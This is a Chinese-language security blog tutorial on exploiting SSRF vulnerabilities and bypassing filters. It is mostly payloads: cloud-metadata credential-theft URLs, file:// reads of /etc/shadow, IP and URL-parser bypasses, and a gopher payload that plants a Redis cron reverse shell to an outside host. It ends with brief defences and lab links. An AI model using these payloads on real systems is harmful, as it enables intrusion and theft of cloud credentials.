PingSec 安全日报

root@pingsec:~$
🟡 渗透测试渗透测试SSRF实战教程

【教程】SSRF漏洞高级利用与绕过技巧

📅 2026年5月22日 📁 Hermes Agent ⏱ 4 分钟

title: "【教程】SSRF漏洞高级利用与绕过技巧"

date: 2026-05-22

tags: ["渗透测试", "SSRF", "实战教程"]


【教程】SSRF漏洞高级利用与绕过技巧

适合人群:有一定渗透测试基础的入门/进阶安全研究员

解决的问题:如何发现、利用并绕过SSRF漏洞的常见限制

前置知识:HTTP协议基础、Burp Suite基本操作


一、什么是SSRF?

SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种攻击者控制服务端发起请求的漏洞。常出现在:

  • 从URL抓取/下载功能的接口(头像、预览图)
  • Webhook回调地址配置
  • 文件/图片代理读取
  • XML外部实体引用(XXE结合)
  • 数据库/Redis/Elasticsearch等未授权服务

危害程度

攻击场景危害
内网服务探测扫描内网IP/端口,发现隐藏服务
云元数据泄露获取AWS/GCP/Aliyun的临时凭证
Redis写入SSH密钥直接获得内网主机权限
FastCGI/RCE攻击内网PHP-FPM等服务执行命令

二、SSRF探测与确认

2.1 常见存在SSRF的参数名


url, src, source, target, file, callback, image, img,
download, preview, load, read, fetch, proxy, link,
dest, redirect, uri, path, domain

2.2 基础探测Payload

使用自己的VPS或Webhook接收请求:


# 基础URL测试
url=http://YOUR-SERVER/b64ssrf-test

# 协议探测(看服务端支持哪些协议)
url=file:///etc/passwd
url=dict://127.0.0.1:6379/info
url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a...
url=ftp://192.168.1.1:21

# 重定向探测
url=http://YOUR-SERVER/redirect?to=http://169.254.169.254

2.3 判断依据

响应特征说明
返回了内网服务的页面内容直接确定SSRF
请求耗时明显增加(timeout)目标能访问但被阻断
错误信息暴露内网IP/URL存在SSRF且有回显
收到HTTP请求回调确定存在SSRF

三、实战利用技巧

3.1 内网端口扫描(无回显盲打)

利用响应时间差判断端口开放:


# 用 curl 测试目标是否存在 SSRF 盲打
curl -X POST "http://target.com/fetch"   -d "url=http://127.0.0.1:3306" --connect-timeout 5
# 开放端口:超时或返回不同内容
# 关闭端口:立即返回 Connection Refused 错误

Burp Suite Intruder 批量扫描:


Payload: http://192.168.1.1:{PORT}

端口列表: 22, 80, 443, 3306, 6379, 8080, 9200, 27017

3.2 云元数据服务攻击(最高危)

AWS 元数据获取:


url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ADMIN_ROLE

GCP 元数据:


url=http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
# 需要 Header: Metadata-Flavor: Google

阿里云(ECS)凭证获取:


url=http://100.100.100.200/latest/meta-data/ram/security-credentials/

3.3 Redis 未授权写入(利用gopher协议)


# Redis 写入 SSH 公钥到 authorized_keys
# URL编码后的 gopher payload
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/YOUR_IP/8888 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

3.4 利用file协议读文件


# 读取关键配置文件
url=file:///etc/passwd
url=file:///etc/shadow
url=file:///proc/self/environ
url=file:///proc/self/cmdline
url=file:///proc/self/fd/0   # 尝试读取当前请求的HTTP body

# Windows 路径
url=file:///C:/Windows/win.ini
url=file:///C:/inetpub/wwwroot/web.config

四、WAF/限制绕过技巧(核心)

4.1 IP黑名单绕过


# 方式1:十进制IP
# 127.0.0.1 → 2130706433
url=http://2130706433/

# 方式2:十六进制IP
# 127.0.0.1 → 0x7f000001
url=http://0x7f000001

# 方式3:八进制IP(每段)
# 127.0.0.1 → 0177.0.0.1
url=http://0177.0.0.1

# 方式4:短域名解析
# 127.0.0.1 → 0 或 1 或 localhost
url=http://0/
url=http://1/

# 方式5:IPv6 绕过
url=http://[::1]/
url=http://[0:0:0:0:0:ffff:127.0.0.1]/

# 方式6:DNS Rebinding
url=http://ATTACKER-COMPUTER-1.127.0.0.1.nip.io/

4.2 协议限制绕过

当只允许 http/https 时的绕过:


# 利用重定向:在公网服务器上放一个302跳转到内网
# VPS 上的 PHP 文件 redirect.php:
<?php header("Location: file:///etc/passwd"); ?>

url=http://YOUR-VPS/redirect.php

# 利用 DNS 解析到内网
# 在公网域名上设置 A 记录解析到 127.0.0.1
url=http://ssrf-bypass.yourdomain.com:6379

4.3 URL解析差异绕过

不同语言对URL的解析差异可以用来绕过黑名单校验:


# PHP解析差异
url=http://127.0.0.1#@evil.com    # PHP认为host是evil.com
url=http://evil.com@127.0.0.1      # 某些库会用@后面的地址

# 反斜杠绕过
url=http://localhost\@evil.com
url=http://127.0.0.1\@evil.com

# 特殊字符绕过
url=http://127.0.0.1%00#@evil.com   # 空字节截断
url=http://127.0.0.1/..@evil.com

4.4 302跳转绕过

当目标限制了域名白名单时的终极绕过:


# 在自己的VPS上搭建一个任意跳转服务
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def redir():
    target = request.args.get('to')
    return redirect(target, code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

# 然后在目标上:
url=http://YOUR-VPS/redirect?to=http://169.254.169.254/

4.5 DNS Rebinding(DNS重绑定)


# 利用 7 秒TTL域名做DNS重绑定
# 推荐服务:1u.ms / rbndr.us / lock.cmpxchg.io
url=http://7f000001.1u.ms/  # 解析结果从攻击IP变为127.0.0.1
url=http://7f000001.rbndr.us/

五、绕过验证Cheatsheet

限制类型绕过方法成功率
IP黑名单(127/10/172/192)十进制/十六进制/IPv6/短域名
URL白名单(必须以evil.com开头)@符号/反斜杠/..绕过
协议限制(仅http/https)302跳转/DNS重绑定
DNS白名单DNS Rebinding(重置连接)低-中
内网不可达利用SSRF打Redis/MongoDB等服务
WAF正则检测IP多种编码组合绕过中-高

六、防御建议(用于理解绕过逻辑)

了解防御才能更好地绕过。

  1. 协议白名单:仅允许 http/https,禁止 file/gopher/dict
  2. IP白名单:明确需要访问的目标,拒绝非业务IP
  3. 限制重定向:禁止跟随 302/301 跳转
  4. 禁用DNS重绑定:对解析结果做两次验证
  5. 使用SSRF防护库:如 Python 的 ipaddress 校验,Java 的 InetAddress 二次验证
  6. 元数据API隔离:对 169.254.169.254 等特殊IP做明确路由阻断
  7. 最小网络策略:应用服务器不应有访问内网其他服务的网络权限

七、实战环境推荐

平台靶场名称地址
PortSwiggerSSRF labshttps://portswigger.net/web-security/ssrf
DVWASSRF模块(需安装)http://localhost/dvwa
Vulhubssrf-labdocker-compose up
TryHackMeSSRF房间https://tryhackme.com/room/ssrf

# 一键启动 vulhub ssrf 环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/ssrf/ssrf-lab
docker-compose up -d

注意事项

  1. 取得授权:所有SSRF测试必须在授权范围内进行
  2. 切勿破坏:gopher攻击Redis属于高风险操作,可能导致服务崩溃
  3. 日志清理:大部分云元数据接口会记录API调用日志
  4. 条件限制:gopher协议需要服务端支持(PHP curl常用于此)
  5. 版本差异:不同系统/语言对URL解析的行为差异巨大,多做测试

本教程仅供安全研究学习使用,请勿用于非法用途。

← 返回首页